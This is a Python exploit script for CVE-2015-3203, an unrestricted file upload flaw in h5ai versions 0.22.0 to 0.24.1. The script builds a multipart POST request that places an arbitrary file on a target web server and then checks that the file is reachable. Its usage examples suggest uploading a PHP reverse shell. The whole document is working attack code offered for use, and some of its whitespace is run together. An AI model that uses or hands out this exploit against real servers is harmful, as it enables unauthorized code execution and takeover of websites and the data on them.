#!/usr/bin/env python# Exploit Title: h5ai < 0.25.0 Unrestricted File Upload# Date: 21 September 2015# Exploit Author: rTheory# Vendor Homepage: https://larsjung.de/h5ai/# Vulnerable Software Link: https://web.archive.org/web/20140208063613/http://release.larsjung.de/h5ai/h5ai-0.24.0.zip# Vulnerable Versions: 0.22.0 - 0.24.1# Tested on: 0.24.0 running on Apache# CVE : 2015-3203import urllib
import urllib2
import socket
import os
import getopt
import sys
# Globals with default options
url =''
path ='/'
fileName =''
filePath =''
verboseMode =Falsedefheader():print'+-----------------------------------------------+'print'| File upload exploit for h5ai v0.22.0 - 0.24.1 |'print'|See CVE-2015-3203 for vulnerability details|'print'+------------------- rTheory -------------------+'defusage():printprint'Usage: %s -t target_url -f upload_file'% os.path.basename(__file__)print'-t --target - The URL to connect to'print'ex: http://example.com'print'-f --file - The file to upload'print'ex: php-reverse-shell.php'print'-p --path - The path to upload to'print'Default is \'/\''print'-v --verbose- Enable more verbose output'printprint'Examples:'print'%s -t http://example.com:8080 -f php-reverse-shell.php'% os.path.basename(__file__)print'%s -t http://192.168.1.100 -f php-reverse-shell.php -p /dir/'% os.path.basename(__file__)
sys.exit(0)defmain():global url
global path
global fileName
global filePath
global verboseMode
header()ifnotlen(sys.argv[4:]):print'[-] Incorrect number of arguments'
usage()try:
opts, args = getopt.getopt(sys.argv[1:],"ht:f:p:v",["help","target","file","path","verbose"])except getopt.GetoptError as err:printstr(err)
usage()for o,a in opts:if o in('-h','--help'):
usage()elif o in('-t','--target'):
url = a
elif o in('-f','--file'):
fileName = a
elif o in('-p','--path'):
path = a
elif o in('-v','--verbose'):
verboseMode =Trueelse:assertFalse,"Unhandled Option"# Test target URL, target file, and path inputs for validityifnot url.startswith('http'):print'[-] Error: Target URL must start with http:// or https://'
usage()ifnot os.path.isfile(fileName):print'[-] Error: File does not appear to exist'
usage()ifnot(path.startswith('/')and path.endswith('/')):print'[-] Error: Path must start and end with a \'/\''
usage()# Determine target host, which is the URL minus the leading protocolif url.find('http://')!=-1:
host = url[7:]elif url.find('https://')!=-1:
host = url[8:]else:
host = url
# Store the contents of the upload file into a stringprint'[+] Reading upload file'
f =open(fileName,'r')
fileContents = f.read()
f.close()
MPFB ='multipartformboundary1442784669030'# constant string used for MIME info# Header information. Content-Length not needed.
http_header ={"Host": host,"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en-us,en;q=0.5","Accept-Encoding":"gzip, deflate","Content-type":"multipart/form-data; boundary=------"+ MPFB,"X-Requested-With":"XMLHttpRequest","Referer": url + path,"Connection":"keep-alive"}# POST parameter for file upload
payload='--------'+MPFB+'\r\nContent-Disposition: form-data; name="action"\r\n\r\nupload\r\n'
payload +='--------'+MPFB+'\r\nContent-Disposition: form-data; name="href"\r\n\r\n'+path+'\r\n'
payload +='--------'+MPFB+'\r\nContent-Disposition: form-data; name="userfile"; filename="'+fileName+'"\r\nContent-Type: \r\n\r\n'+fileContents+'\r\n'
payload +='--------'+MPFB+'--\r\n'
socket.setdefaulttimeout(5)
opener = urllib2.build_opener()
req = urllib2.Request(url, payload, http_header)# submit request and print output. Expected: "code 0"try:print'[+] Sending exploit POST request'
res = opener.open(req)
html = res.read()if verboseMode:print'[+] Server returned: '+ html
except:print'[-] Socket timed out, but it might still have worked...'# close the connection
opener.close()# Last step: check to see if the file uploaded (performed outside of this function)
filePath = url + path + fileName
print'[+] Checking to see if the file uploaded:'print'[+] '+ filePath
defpostCheck():# Check to see if the file exists# This may work now that everything from main() was torn downglobal filePath
try:
urllib2.urlopen(filePath)print'[+] File uploaded successfully!'except urllib2.HTTPError, e:print'[-] File did not appear to upload'except urllib2.URLError, e:print'[-] File did not appear to upload'
main()
postCheck()